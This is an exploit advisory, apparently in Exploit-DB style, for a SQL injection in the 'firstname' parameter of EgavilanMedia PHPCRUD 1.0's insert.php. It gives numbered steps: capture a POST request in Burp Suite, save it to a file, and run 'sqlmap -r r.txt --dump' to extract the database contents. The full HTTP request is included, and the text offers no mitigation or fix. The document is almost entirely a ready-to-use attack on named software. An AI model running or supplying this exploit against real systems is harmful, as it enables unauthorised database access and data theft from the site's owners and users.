EgavilanMedia PHPCRUD 1.0 SQL Injection

`# Exploit Title: EgavilanMedia PHPCRUD 1.0 - 'First Name' SQL Injection  
# Date: 5/17/2021  
# Exploit Author: Dimitrios Mitakos  
# Vendor Homepage: https://egavilanmedia.com  
# Software Link: https://egavilanmedia.com/crud-operation-with-php-mysql-bootstrap-and-dompdf/  
# Version: 1.0  
# Tested on: Debian GNU/Linux 10  
  
Vulnerable Parameter : firstname  
  
1. Burp Suite -> Intercept is on  
  
2. Go to the Website -> Add New Record  
  
3. Back to Burp Suite -> Copy to file (r.txt)  
  
POST /insert.php HTTP/1.1  
Host: x.x.x.x  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 67  
Origin: http:// <http://10.0.2.244/>x.x.x.x  
Connection: close  
Referer: http://x.x.x.x/index.php  
Upgrade-Insecure-Requests: 1  
  
firstname=x&lastname=y&address=z&skills=w&designation=a&insertData=  
  
4. sqlmap -r r.txt --dump  
  
`